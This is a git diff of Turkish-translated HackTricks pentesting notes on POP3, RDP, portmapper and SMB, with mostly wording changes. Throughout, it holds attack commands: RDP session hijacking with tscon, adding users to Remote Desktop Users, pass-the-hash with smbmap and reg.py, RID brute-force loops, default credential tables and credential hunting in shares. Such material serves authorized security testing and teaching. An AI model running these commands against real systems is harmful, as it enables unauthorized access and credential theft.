**Post Office Protocol (POP)**, bilgisayar ağları ve İnternet alanında, **uzaktaki bir posta sunucusundan e-posta alma ve geri alma** işlemleri için kullanılan bir protokol olarak tanımlanır ve bu e-postaların yerel cihazda erişilebilir olmasını sağlar. OSI modelinin uygulama katmanında yer alan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle posta sunucusuna bir bağlantı kurmayı, tüm mesajları indirmeyi, bu mesajları istemci sisteminde yerel olarak depolamayı ve ardından sunucudan silmeyi içerir. Bu protokolün üç versiyonu olmasına rağmen, **POP3** en yaygın kullanılan versiyon olarak öne çıkmaktadır.
|
||||
**Post Office Protocol (POP)**, bilgisayar ağları ve İnternet alanında, **uzaktaki bir posta sunucusundan e-posta alma ve geri alma** işlemleri için kullanılan bir protokol olarak tanımlanır ve bu e-postaların yerel cihazda erişilebilir olmasını sağlar. OSI modelinin uygulama katmanında yer alan bu protokol, kullanıcıların e-posta almasını ve almasını sağlar. **POP istemcilerinin** çalışması genellikle bir posta sunucusuna bağlantı kurmayı, tüm mesajları indirmeyi, bu mesajları istemci sisteminde yerel olarak depolamayı ve ardından sunucudan silmeyi içerir. Bu protokolün üç versiyonu olmasına rağmen, **POP3** en yaygın kullanılan versiyon olarak öne çıkmaktadır.
|
||||
|
||||
**Varsayılan portlar:** 110, 995(ssl)
|
||||
```
|
||||
@ -26,7 +26,7 @@ POP3 sunucusunun yeteneklerini elde etmek için `CAPA` komutunu kullanabilirsini
|
||||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
`pop3-ntlm-info` eklentisi bazı "**hassas**" verileri döndürecektir (Windows sürümleri).
|
||||
`pop3-ntlm-info` eklentisi bazı "**hassas**" verileri (Windows sürümleri) döndürecektir.
|
||||
|
||||
### [POP3 bruteforce](../generic-hacking/brute-force.md#pop)
|
||||
|
||||
@ -73,7 +73,7 @@ password: PA$$W0RD!Z
|
||||
```
|
||||
## Şifreleri Kaydetme
|
||||
|
||||
**`auth_debug`** ayarı etkin olan POP sunucuları, üretilen günlükleri artıracaktır. Ancak, **`auth_debug_passwords`** veya **`auth_verbose_passwords`** **`true`** olarak ayarlandığında, şifreler bu günlüklerde düz metin olarak da kaydedilebilir.
|
||||
**`auth_debug`** ayarı etkinleştirilen POP sunucuları, üretilen günlükleri artıracaktır. Ancak, **`auth_debug_passwords`** veya **`auth_verbose_passwords`** **`true`** olarak ayarlandığında, şifreler bu günlüklerde düz metin olarak da kaydedilebilir.
|
||||
|
||||
## HackTricks Otomatik Komutlar
|
||||
```
|
||||
@ -87,7 +87,7 @@ Description: Notes for POP
|
||||
Note: |
|
||||
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
|
||||
|
||||
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -60,9 +60,9 @@ query user
|
||||
```bash
|
||||
tscon <ID> /dest:<SESSIONNAME>
|
||||
```
|
||||
Artık seçilen RDP oturumunun içindesiniz ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit etmeniz gerekecek.
|
||||
Şimdi seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
|
||||
|
||||
**Önemli**: Aktif bir RDP oturumuna eriştiğinizde, onu kullanan kullanıcıyı oturumdan çıkarırsınız.
|
||||
**Önemli**: Aktif RDP oturumlarına eriştiğinizde, onu kullanan kullanıcıyı çıkartacaksınız.
|
||||
|
||||
Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
|
||||
|
||||
@ -81,7 +81,7 @@ Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri aramak için: [https:
|
||||
|
||||
### RDP Süreç Enjeksiyonu
|
||||
|
||||
Farklı bir alan adından veya **daha iyi yetkilerle RDP üzerinden** **senin Admin** olduğun PC'ye giriş yapan birisi varsa, onun **RDP oturum sürecine** beacon'ını **enjekte** edebilir ve onun gibi hareket edebilirsin:
|
||||
Farklı bir alan adından veya **daha iyi ayrıcalıklara sahip biri RDP ile** **senin Admin** olduğun PC'ye giriş yaparsa, **RDP oturum sürecine** beacon'ını **enjekte** edebilir ve onun gibi hareket edebilirsin:
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
|
||||
@ -91,20 +91,20 @@ Farklı bir alan adından veya **daha iyi yetkilerle RDP üzerinden** **senin Ad
|
||||
```bash
|
||||
net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
```
|
||||
## Otomatik Araçlar
|
||||
## Automatic Tools
|
||||
|
||||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation çerçevesidir. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine** olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak gerçekleştirilir.
|
||||
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta talep üzerine kontrol etmesine olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır.
|
||||
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- Komut satırından otomatik bir şekilde fare ve klavye kontrolü
|
||||
- Komut satırından otomatik bir şekilde panoya erişim
|
||||
- Komut satırından otomatik bir şekilde panoya kontrol
|
||||
- RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma
|
||||
- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları yürütme
|
||||
- Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme
|
||||
|
||||
## HackTricks Otomatik Komutlar
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: RDP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3389 #Comma separated if there is more than one.
|
||||
@ -116,7 +116,7 @@ Description: Notes for RDP
|
||||
Note: |
|
||||
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-rdp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Portmapper**, ağ hizmeti portlarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşlemek için kullanılan bir hizmettir. **Unix tabanlı sistemler** içinde bilgi alışverişini kolaylaştıran kritik bir bileşen olarak işlev görür. **Portmapper** ile ilişkili **port**, saldırganlar tarafından sıklıkla taranır çünkü değerli bilgiler ortaya çıkarabilir. Bu bilgiler, çalışan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında ayrıntıları içerir. Ayrıca, **Portmapper**, ağ hizmetlerini etkili bir şekilde yönetmek için genellikle **NFS (Ağ Dosya Sistemi)**, **NIS (Ağ Bilgi Servisi)** ve diğer **RPC tabanlı hizmetler** ile birlikte kullanılır.
|
||||
**Portmapper**, ağ hizmeti portlarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşlemek için kullanılan bir hizmettir. **Unix tabanlı sistemler** içinde bilgi alışverişini kolaylaştıran kritik bir bileşen olarak işlev görür. **Portmapper** ile ilişkili **port**, saldırganlar tarafından sıklıkla taranır çünkü değerli bilgiler ortaya çıkarabilir. Bu bilgiler, çalışan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında ayrıntıları içerir. Ayrıca, **Portmapper**, ağ hizmetlerini etkili bir şekilde yönetmek için genellikle **NFS (Ağ Dosya Sistemi)**, **NIS (Ağ Bilgi Hizmeti)** ve diğer **RPC tabanlı hizmetler** ile birlikte kullanılır.
|
||||
|
||||
**Varsayılan port:** 111/TCP/UDP, 32771 Oracle Solaris'te
|
||||
```
|
||||
@ -51,12 +51,12 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
```
|
||||
### NIF dosyaları
|
||||
|
||||
| **Ana dosya** | **Harita(lar)** | **Notlar** |
|
||||
| **Ana dosya** | **Harita(lar)** | **Notlar** |
|
||||
| ---------------- | --------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | Host adları ve IP detaylarını içerir |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | NIS kullanıcı şifre dosyası |
|
||||
| /etc/group | group.byname, group.bygid | NIS grup dosyası |
|
||||
| /usr/lib/aliases | mail.aliases | Mail takma adları detayları |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | NIS kullanıcı şifre dosyası |
|
||||
| /etc/group | group.byname, group.bygid | NIS grup dosyası |
|
||||
| /usr/lib/aliases | mail.aliases | Mail takma adları detayları |
|
||||
|
||||
## RPC Kullanıcıları
|
||||
|
||||
@ -64,11 +64,11 @@ Eğer **rusersd** servisini şu şekilde bulursanız:
|
||||
|
||||
.png>)
|
||||
|
||||
Kutunun kullanıcılarını listeleyebilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md) makalesine bakın.
|
||||
Kutu kullanıcılarını listeleyebilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md) makalesine bakın.
|
||||
|
||||
## Filtrelenmiş Portmapper portunu atlatma
|
||||
|
||||
**nmap taraması** yaparken ve port 111'in filtrelendiği açık NFS portları keşfettiğinizde, bu portların doğrudan istismar edilmesi mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, istismar mümkün hale gelir. Bu teknik, port 111'in filtrelenmiş durumunu atlatmayı sağlar ve böylece NFS hizmetlerine erişim sağlar. Bu yöntemle ilgili ayrıntılı rehberlik için [bu makaleye](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) başvurun.
|
||||
**nmap taraması** yaparken ve port 111'in filtrelendiğini keşfettiğinizde, bu portların doğrudan istismar edilmesi mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, istismar mümkün hale gelir. Bu teknik, port 111'in filtrelenmiş durumunu atlatmayı sağlar ve böylece NFS hizmetlerine erişim sağlar. Bu yöntemle ilgili ayrıntılı rehberlik için [bu bağlantıya](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) bakın.
|
||||
|
||||
## Shodan
|
||||
|
||||
@ -90,7 +90,7 @@ Description: Notes for PortMapper
|
||||
Note: |
|
||||
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
|
||||
|
||||
Entry_2:
|
||||
Name: rpc info
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olabilen ve en fazla 16 karakter uzunluğunda olabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -12,22 +12,22 @@ _**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin
|
||||
|
||||
Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB over IP' olarak tanımlanır. Kısaltma **SMB**, '**Server Message Blocks**' anlamına gelir ve modern olarak **Common Internet File System (CIFS)** olarak da bilinir. Uygulama katmanı ağ protokolü olarak, SMB/CIFS esasen dosyalara, yazıcılara, seri portlara paylaşımlı erişimi sağlamak ve bir ağ üzerindeki düğümler arasında çeşitli iletişim biçimlerini kolaylaştırmak için kullanılır.
|
||||
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece port 445'in kullanımıyla TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır. Aksine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu da SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
|
||||
Örneğin, Windows bağlamında, SMB'nin doğrudan TCP/IP üzerinden çalışabileceği, böylece TCP/IP üzerinden NetBIOS'a olan gereksinimin ortadan kalktığı vurgulanmaktadır; bu, port 445'in kullanımıyla mümkündür. Tersine, farklı sistemlerde port 139'un kullanımı gözlemlenmektedir; bu, SMB'nin TCP/IP üzerinden NetBIOS ile birlikte çalıştığını göstermektedir.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına erişimi düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
|
||||
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar kontrolü** sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
SMB sunucusu tarafından sağlanabilen paylaşımlar, **yerel dosya sisteminin** keyfi parçalarını temsil eder ve bu, bir istemciye sunucunun gerçek yapısından kısmen **bağımsız** olarak hiyerarşiyi görünür kılar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
|
||||
|
||||
- İşletim sistemi hakkında bilgi
|
||||
- Ana alan hakkında detaylar
|
||||
- Ana alan hakkında ayrıntılar
|
||||
- Yerel kullanıcılar ve grupların derlemesi
|
||||
- Mevcut SMB paylaşımları hakkında bilgi
|
||||
- Etkili sistem güvenlik politikası
|
||||
@ -40,7 +40,7 @@ Yukarıdaki komut, `target_ip` ile belirtilen bir hedefe karşı tam bir enumera
|
||||
|
||||
## NTLM Nedir
|
||||
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız:
|
||||
Eğer NTLM'in ne olduğunu bilmiyorsanız veya nasıl çalıştığını ve nasıl istismar edileceğini öğrenmek istiyorsanız, **bu protokolün nasıl çalıştığını ve nasıl faydalanabileceğinizi** açıklayan **NTLM** hakkında bu sayfayı çok ilginç bulacaksınız:
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB sunucu versiyonu
|
||||
|
||||
SMB versiyonuna olası açıklar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
|
||||
SMB versiyonuna olası istismarlar aramak için hangi versiyonun kullanıldığını bilmek önemlidir. Bu bilgi diğer kullanılan araçlarda görünmüyorsa, şunları yapabilirsiniz:
|
||||
|
||||
- **MSF** yardımcı modülünü kullanın \_**auxiliary/scanner/smb/smb_version**
|
||||
- Ya da bu scripti:
|
||||
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Sömürü Ara**
|
||||
### **Arama istismarı**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
@ -83,13 +83,13 @@ searchsploit microsoft smb
|
||||
|
||||
| **Kullanıcı Adı(ları)** | **Yaygın Şifreler** |
|
||||
| ------------------------ | ----------------------------------------- |
|
||||
| _(boş)_ | _(boş)_ |
|
||||
| misafir | _(boş)_ |
|
||||
| Yönetici, admin | _(boş)_, şifre, yönetici, admin |
|
||||
| arcserve | arcserve, yedek |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, yedek | backupexec, yedek, arcada |
|
||||
| test, lab, demo | şifre, test, lab, demo |
|
||||
| _(boş)_ | _(boş)_ |
|
||||
| misafir | _(boş)_ |
|
||||
| Yönetici, admin | _(boş)_, şifre, yönetici, admin |
|
||||
| arcserve | arcserve, yedek |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, yedek | backupexec, yedek, arcada |
|
||||
| test, lab, demo | şifre, test, lab, demo |
|
||||
|
||||
### Kaba Kuvvet
|
||||
|
||||
@ -139,7 +139,7 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Tek satır
|
||||
Tek Satır
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
@ -165,7 +165,7 @@ pentesting-smb/rpcclient-enumeration.md
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Paylaşılan Klasörleri Listeleme
|
||||
## Paylaşılan Klasörlerin Listelemesi
|
||||
|
||||
### Paylaşılan klasörleri listele
|
||||
|
||||
@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Manuel olarak Windows paylaşımlarını listeleyin ve onlara bağlanın**
|
||||
### **Manually enumerate windows shares and connect to them**
|
||||
|
||||
Ana makinenin herhangi bir paylaşımını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım yokmuş gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlantı kurmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını veya paylaşımın hiç var olmadığını gösterebilir.
|
||||
|
||||
Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
|
||||
@ -210,7 +210,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(_**Ağ Güvenliği Değerlendirmesi 3. baskı**_’dan yaygın paylaşım adları)
|
||||
(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_’dan)
|
||||
|
||||
Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz.
|
||||
```bash
|
||||
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dosyaları İndir**
|
||||
|
||||
Kimlik bilgileri/Pass-the-Hash ile nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
|
||||
Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Paylaşımlardan özellikle ilginç olanlar, **`Registry.xml`** olarak adlandırılan dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ya da **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir.
|
||||
Özellikle paylaşımlardan ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Veya **`web.config`** dosyaları, çünkü bunlar kimlik bilgileri içerir.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulanmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı toplu iş, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgiler **bulabilirsiniz**.
|
||||
|
||||
## Kayıt Defterini Oku
|
||||
|
||||
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumak** mümkün olabilir. Impacket **`reg.py`** denemenize olanak tanır:
|
||||
Bulunan bazı kimlik bilgilerini kullanarak **kayıt defterini okumayı** başarabilirsiniz. Impacket **`reg.py`** denemenize olanak tanır:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -330,16 +330,16 @@ Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/sam
|
||||
|
||||
| **Ayar** | **Açıklama** |
|
||||
| -------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Mevcut paylaşımları listelemeye izin verilsin mi? |
|
||||
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
|
||||
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin verilsin mi? |
|
||||
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekiyor? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekiyor? |
|
||||
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekiyor? |
|
||||
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekiyor? |
|
||||
| `magic output = script.out`| Magic scriptin çıktısının nereye kaydedilmesi gerekiyor? |
|
||||
| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? |
|
||||
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
|
||||
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? |
|
||||
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
|
||||
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic output = script.out`| Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
|
||||
|
||||
